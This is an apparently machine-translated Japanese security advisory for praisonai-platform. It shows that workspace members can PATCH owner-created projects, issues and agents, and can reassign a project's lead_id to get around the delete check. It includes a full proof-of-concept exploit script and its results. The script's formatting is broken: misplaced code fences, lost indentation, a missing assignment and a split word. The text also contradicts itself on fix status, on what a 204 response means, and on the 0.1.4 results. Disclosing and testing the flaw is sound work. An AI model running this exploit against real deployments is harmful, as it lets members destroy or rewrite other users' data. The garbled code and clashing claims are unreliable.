PraisonAI: プラットフォームのPATCHメソッドによるアクセスは、オーナーのリソースの書き換えやプロジェクトリーダーの再割り当てを可能にし、削除の制限を回避する。

# プラットフォームのPATCHメソッドによるアクセスは、オーナーのリソースの書き換えやプロジェクトリーダーの再割り当てを可能にし、削除の制限を回避する。

## 概要

`praisonai-platform`では、通常のワークスペースメンバーが、関連する削除メソッドによるオーナー/管理者権限の制限を回避し、オーナーが作成したプロジェクト、課題、およびエージェントのレコードをPATCHメソッドで変更することができます。プロジェクトの場合、メンバーはまず`lead_id`を自身のユーザーIDに変更し、その後、オーナーが作成したプロジェクトを削除することができます。この操作により、再割り当て前に正しく`403`エラーを返していた削除の制限を回避します。

## 技術的な詳細

問題となる境界は、「ワークスペースのメンバーである」ことと「このリソースのオーナーまたは管理者である」ことの違いです。`src/praisonai-platform/praisonai_platform/api/deps.py`では、`require_workspace_member`、`require_workspace_admin`、`require_workspace_owner`、および`require_delete_permission`が定義されています。`require_workspace_member`は、呼び出し元がワークスペースで少なくとも「メンバー」のロールを持っているかどうかのみを確認します。一方、`require_delete_permission`は、ワークスペースの管理者/オーナー、またはリソースのオーナーのみが削除を実行できるようにします。

`src/praisonai-platform/praisonai_platform/api/routes/projects.py`で定義されているプロジェクトの更新API(`PATCH /workspaces/{workspace_id}/projects/{project_id}`)では、`user: AuthIdentity = Depends(require_workspace_member)`が指定されています。このAPIは、`title`、`description`、`status`、`lead_type`、および`lead_id`を`ProjectService.update`に渡します。その後、`src/praisonai-platform/praisonai_platform/services/project_service.py`では、`project.lead_id = lead_id`が設定されます。関連するプロジェクトの削除APIは、まずプロジェクトをロードし、`require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`を呼び出します。つまり、通常のメンバーは、削除APIが後で信頼する所有権のフィールドを変更することができます。

課題やエージェントについても、同様の更新/削除の非対称性があります。`src/praisonai-platform/praisonai_platform/api/routes/issues.py`では、`PATCH /workspaces/{workspace_id}/issues/{issue_id}`が定義されており、`require_workspace_member`のみが適用され、参照されているIDがワークスペース内に存在するかどうかが検証された後、`IssueService.update`が呼び出され、`title`、`description`、`status`、`priority`、`assignee_id`、および`project_id`などのフィールドが書き込まれます。対応する削除APIは、`resource_owner_id=issue.creator_id`をチェックします。`src/praisonai-platform/praisonai_platform/api/routes/agents.py`では、`PATCH /workspaces/{workspace_id}/agents/{agent_id}`が定義されており、`require_workspace_member`のみが適用され、`AgentService.update`が呼び出され、`instructions`、`runtime_mode`、および`runtime_config`などのフィールドが書き込まれます。対応する削除APIは、`resource_owner_id=agent.owner_id`をチェックします。

意図された所有者/管理者権限の境界は、削除APIと、ローカルのネガティブテストから確認できます。ワークスペースのメンバーは、所有者によって作成されたプロジェクト、課題、またはエージェントを直接削除できません。また、メンバーでないユーザーは、課題を更新できません。脆弱性は、PATCH APIが、同等の所有者/管理者権限またはリソース固有の更新保護を適用していないことです。

## PoV (概念実証)

このPoVでは、SQLiteでバックされたインメモリのFastAPIアプリケーションを起動し、所有者、メンバー、および外部ユーザーを作成し、メンバーを所有者のワークスペースに追加し、実際のサービスに触れることなく、プロジェクト、課題、およびエージェントのAPIをテストします。

重要な抜粋:

```python
direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)

patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)
```

```
delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)

patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)

patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)

outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)
```

完全なPoVスクリプトは、以下の付録に `pov_platform_member_update_bypass.py` として含まれています。

## PoC

テストに使用した最新のバージョン:

```text
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17T20:13:04+01:00
chore: GitHubワークフロー内の冗長な 'persist-credentials' エントリを削除
```

ローカルの最新バージョンで実行:

```sh
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json
```

最新バージョンの実行結果:
```

```json
{
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
```

以下のコマンドで、テスト中に確認された最新のPyPIパッケージを使用して実行します。

```sh
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json
```

最新のPyPIパッケージを使用した実行結果:

```json
{
"source": "pypi:praisonai-platform==0.1.8",
"workspace_role": "member",
"checks": {
"member_direct_project_delete_before_patch": 403,
"member_project_patch_lead_to_self": 200,
"member_project_delete_after_lead_takeover": 204,
"owner_get_project_after_member_delete": 404,
"member_issue_patch": 200,
"owner_observes_member_issue_title": "Member rewrote owner issue",
"member_issue_delete_after_patch": 403,
"member_agent_patch": 200,
"owner_observes_member_agent_instructions": "member-controlled instructions",
"member_agent_delete_after_patch": 403,
"non_member_issue_patch": 403
},
"vulnerable": true
}
```

バージョン比較の抜粋:

praisonai-platform 0.1.4: メンバーのPATCH処理、プロジェクト/課題/エージェントに対しては200が返されましたが、直接的なメンバーのDELETE処理でも204が返されるため、現在のdelete-guardの回避機能は、より広範囲な古いDELETE権限の動作によって隠蔽されています。
praisonai-platform 0.1.6: プロジェクトの直接的なDELETE処理で403が返されました。メンバーのPATCH処理で、自身をリーダーに設定すると200が返されます。リーダー権限の引き継ぎ後にプロジェクトをDELETEすると204が返されます。課題/エージェントのPATCH処理で200が返されます。課題/エージェントのDELETE処理で403が返されます。
praisonai-platform 0.1.8: プロジェクトの直接的なDELETE処理で403が返されました。メンバーのPATCH処理で、自身をリーダーに設定すると200が返されます。リーダー権限の引き継ぎ後にプロジェクトをDELETEすると204が返されます。課題/エージェントのPATCH処理で200が返されます。課題/エージェントのDELETE処理で403が返されます。

## 影響

通常のワークスペースのメンバーは、所有者によって作成されたプラットフォームのレコードを、所有者/管理者のみが制御すべきにもかかわらず、変更できてしまう可能性があります。プロジェクトの場合、メンバーはPATCH処理によって`lead_id`を再設定することで、許可されていない直接的な削除を可能にし、所有者のプロジェクトデータを失わせる可能性があります。課題の場合、メンバーは所有者によって作成されたタイトル/ステータスを書き換えることができますが、削除は引き続きブロックされます。エージェントの場合、メンバーは所有者によって作成された指示や、実行時に関連する設定フィールドを置き換えることができますが、削除は引き続きブロックされます。共有ワークスペースでは、これは具体的なデータの整合性違反であり、作業の追跡やエージェントの動作を妨げる可能性があります。

推奨される深刻度: 高。推奨されるCVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1)。推奨されるCWE: `CWE-862` 権限の欠如、および `CWE-863` 不適切な権限。このスコアは保守的であり、攻撃者がすでに通常のワークスペースメンバーの権限を持っていることを前提としており、機密性への影響は考慮していません。

## 推奨される修正

プロジェクト、課題、またはエージェントのレコードを変更する前に、リソース固有の更新権限を適用してください。単純なアプローチは、PATCHルートに対して、DELETEルートの所有者/管理者チェックをミラーリングすることです。または、`require_update_permission`というヘルパー関数を導入し、ワークスペースの管理者/所有者、および関連するリソースの所有者のみが使用できるようにすることです。

プロジェクトにおいて、一般ユーザーが既存のオーナーが作成したプロジェクトに対して`lead_id`を設定できないようにします。リードの再割り当てを管理者/オーナーのみが行える操作として扱い、新しいリードがワークスペースに所属しており、その役割に適格であるかどうかを検証します。

以下のケースに対する回帰テストを追加します。一般ユーザーは、オーナーが作成したプロジェクト、課題、またはエージェントを更新できない。ユーザーは、プロジェクトの`lead_id`を再割り当てして削除権限を得ることはできない。オーナー/管理者は、意図したポリシーに従って引き続き更新できる。非メンバーは、依然として`403`エラーを受け取る。

## 影響を受けるパッケージ/バージョン

影響を受けるパッケージ:`pypi:praisonai-platform`.

テスト中に確認された最新のPyPIバージョン:`0.1.8`. 現在の最新バージョン`846568c7a5d8ce9e71e56e4c213f027c04909753`も影響を受けています。

オーナー/管理者の更新権限に関する問題は、バージョン`0.1.4`、`0.1.6`、`0.1.8`および現在の最新バージョンで確認されています。特定のプロジェクトの削除保護を`lead_id`の再割り当てによって回避できることは、バージョン`0.1.6`、`0.1.8`および現在の最新バージョンで確認されています。バージョン`0.1.4`では、すでに一般ユーザーによる削除が`204`エラーで拒否されているため、リードの再割り当てによる問題は、より広範な古い削除に関する問題によって隠されています。

更新権限に関する問題の影響を受ける可能性のある範囲:`pypi:praisonai-platform >=0.1.4, <=0.1.8`. プロジェクトのリード再割り当てによる削除保護の回避に関する問題の影響を受ける可能性のある範囲:`pypi:praisonai-platform >=0.1.6, <=0.1.8`. 特定の修正バージョンや修正コミットは見つかりませんでした。

## 警告履歴

公開されているPraisonAI Platformの警告には、関連する権限修正がいくつか含まれていますが、確認された公開警告には、このワークスペース内での更新権限に関する問題や、プロジェクトの`lead_id`による削除保護の回避が含まれていないようです。

`GHSA-rh39-9c67-59mh`は、「DELETEエンドポイントにおける所有権チェックの欠如により、メンバーが他のユーザーのコンテンツを削除できる」という問題に関するもので、DELETEエンドポイントに関するものです。このレポートは、PoV(Proof of Concept:概念実証)が、直接的なプロジェクトの削除が`403`エラーで拒否され、その後、更新操作で`lead_id`が再割り当てされると、削除操作が成功するという状況を示している点で、これとは異なります。

`GHSA-2fjj-qqg8-fg7x`、「praisonai-platform」におけるユーザー制御キーを通じた認証回避」は、ユーザーが制御する`project_id`の参照処理と、ワークスペース間の統計情報の不正な共有について扱っています。このレポートは、外部ワークスペースのIDに依存しておらず、攻撃者は、作成者のワークスペースの正当なメンバーです。

`GHSA-gv23-xrm3-8c62`、`GHSA-6h6v-6m7w-7vxx`、`GHSA-943m-6wx2-rc2j`、`GHSA-xwq8-frcg-77q8`、および`GHSA-7p8g-6c6g-h9w7`は、グローバルIDによるワークスペース間のオブジェクトへのアクセスについて扱っています。このレポートの範囲は、同じワークスペース内の管理者権限を持つユーザーに限定されており、メンバーではないユーザーによるアクセス試行では`403`エラーが返されます。

## 参照

- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`
- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`
- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`
- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`
- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`
- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`
- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`
- `https://cwe.mitre.org/data/definitions/862.html`
- `https://cwe.mitre.org/data/definitions/863.html`

## 付録A - 詳細版のテスト結果

```text
=== praisonai-platform 0.1.4 ===
"member_direct_project_delete_before_patch": 204
"member_project_patch_lead_to_self": 404
"member_issue_patch": 200
"member_agent_patch": 200
"member_issue_delete_after_patch": 204
"member_agent_delete_after_patch": 204
"non_member_issue_patch": 403
```

=== praisonai-platform 0.1.6 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403

=== praisonai-platform 0.1.8 ===
"member_direct_project_delete_before_patch": 403
"member_project_patch_lead_to_self": 200
"member_project_delete_after_lead_takeover": 204
"owner_get_project_after_member_delete": 404
"member_issue_patch": 200
"member_issue_delete_after_patch": 403
"member_agent_patch": 200
"member_agent_delete_after_patch": 403
"non_member_issue_patch": 403
```

## 補遺B - 完全なPoVスクリプト

上記のPoCコマンドを実行する前に、これを`pov_platform_member_update_bypass.py`として保存してください。

```python
#!/usr/bin/env python3
"""PraisonAIプラットフォームにおける、同一ワークスペースのメンバー更新の回避に関するPoV。"""

from __future__ import annotations

import argparse
import asyncio
import json
import os
import sys
from pathlib import Path
from typing import Any

def _load_local_source(repo: Path | None) -> None:
if repo is None:
return
platform_root = repo / "src" / "praisonai-platform"
agents_root = repo / "src" / "praisonai-agents"
for path in (str(platform_root), str(agents_root)):
if path not in sys.path:
sys.path.insert(0, path)

async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
response = await client.post(
"/api/v1/auth/register",
json={"email": email, "password": "Password1!", "name": name},
)
if response.status_code >= 400:
raise RuntimeError(f"登録に失敗しました ({email}): {response.status_code} {response.text}")
body = response.json()
return body["token"], body["user"]["id"]
```

```
async def _run(repo: Path | None) -> dict[str, Any]:
os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
_load_local_source(repo)

from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine

from praisonai_platform.api.app import create_app
from praisonai_platform.db import base as base_mod
from praisonai_platform.db.base import Base, reset_engine

await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)

app = create_app()
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
member_token, member_id = await _register(client, "member@example.com", "Member")
outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")

owner_headers = {"Authorization": f"Bearer {owner_token}"}
member_headers = {"Authorization": f"Bearer {member_token}"}
outsider_headers = {"Authorization": f"Bearer {outsider_token}"}

ws_resp = await client.post(
"/api/v1/workspaces/",
json={"name": "Shared Workspace", "slug": "shared-workspace"},
headers=owner_headers,
)
ws_resp.raise_for_status()
workspace_id = ws_resp.json()["id"]

add_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={"user_id": member_id, "role": "member"},
headers=owner_headers,
)
add_member.raise_for_status()
```

project_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/projects/",
json={
"title": "Owner project",
"description": "Owned by the workspace owner",
"lead_type": "member",
"lead_id": owner_id,
},
headers=owner_headers,
)
project_resp.raise_for_status()
project_id = project_resp.json()["id"]

direct_delete_project = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)

patch_project = await client.patch(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
json={
"title": "Member-controlled project",
"status": "active",
"lead_type": "member",
"lead_id": member_id,
},
headers=member_headers,
)

delete_project_after_takeover = await client.delete(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=member_headers,
)
owner_get_deleted_project = await client.get(
f"/api/v1/workspaces/{workspace_id}/projects/{project_id}",
headers=owner_headers,
)

issue_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/",
json={"title": "Owner issue", "priority": "high"},
headers=owner_headers,
)
issue_resp.raise_for_status()
issue_id = issue_resp.json()["id"]

patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "Member rewrote owner issue", "status": "done"},
headers=member_headers,
)
owner_get_issue = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=owner_headers,
)
delete_issue = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
headers=member_headers,
)

agent_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/agents/",
json={"name": "OwnerAgent", "instructions": "owner-only instructions"},
headers=owner_headers,
)
agent_resp.raise_for_status()
agent_id = agent_resp.json()["id"]

patch_agent = await client.patch(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
json={"instructions": "member-controlled instructions", "status": "idle"},
headers=member_headers,
)
owner_get_agent = await client.get(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=owner_headers,
)
delete_agent = await client.delete(
f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}",
headers=member_headers,
)

outsider_patch_issue = await client.patch(
f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}",
json={"title": "outsider attempt"},
headers=outsider_headers,
)

await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None

owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}
owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}
patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}

```json
{
"member_direct_project_delete_before_patch": direct_delete_project.status_code,
"member_project_patch_lead_to_self": patch_project.status_code,
"member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code,
"owner_get_project_after_member_delete": owner_get_deleted_project.status_code,
"member_issue_patch": patch_issue.status_code,
"owner_observes_member_issue_title": owner_issue_body.get("title"),
"member_issue_delete_after_patch": delete_issue.status_code,
"member_agent_patch": patch_agent.status_code,
"owner_observes_member_agent_instructions": owner_agent_body.get("instructions"),
"member_agent_delete_after_patch": delete_agent.status_code,
"non_member_issue_patch": outsider_patch_issue.status_code,
}
vulnerable = (
checks["member_direct_project_delete_before_patch"] == 403
and checks["member_project_patch_lead_to_self"] == 200
and patch_project_body.get("lead_id") == member_id
and checks["member_project_delete_after_lead_takeover"] == 204
and checks["owner_get_project_after_member_delete"] == 404
and checks["member_issue_patch"] == 200
and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue"
and checks["member_issue_delete_after_patch"] == 403
and checks["member_agent_patch"] == 200
and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions"
and checks["member_agent_delete_after_patch"] == 403
and checks["non_member_issue_patch"] == 403
)
return {
"package": "praisonai-platform",
"source": _source_id(repo),
"workspace_role": "member",
"summary": "ワークスペースのメンバーは、オーナーが作成したプロジェクト、課題、およびエージェントのレコードを修正できます。プロジェクトのリーダーの再割り当てにより、削除の権限チェックを回避できます。",
"checks": checks,
"vulnerable": vulnerable
```

```
able,
}

def _source_id(repo: Path | None) -> str:
if repo is None:
import importlib.metadata

return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
import subprocess

rev = subprocess.check_output(
["git", "-C", str(repo), "rev-parse", "HEAD"],
text=True,
).strip()
return f"git:{rev}"

def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path)
parser.add_argument("--json", action="store_true")
args = parser.parse_args()

result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
if args.json:
print(json.dumps(result, indent=2, sort_keys=True))
else:
for key, value in result["checks"].items():
print(f"{key}: {value}")
print(f"vulnerable: {result['vulnerable']}")
return 0 if result["vulnerable"] else 1

if __name__ == "__main__":
raise SystemExit(main())

```

影響を受けるパッケージ:
- pip (Python) praisonai-platform: 影響を受けるバージョンは 0.1.8 以下、0.1.9 で修正済み。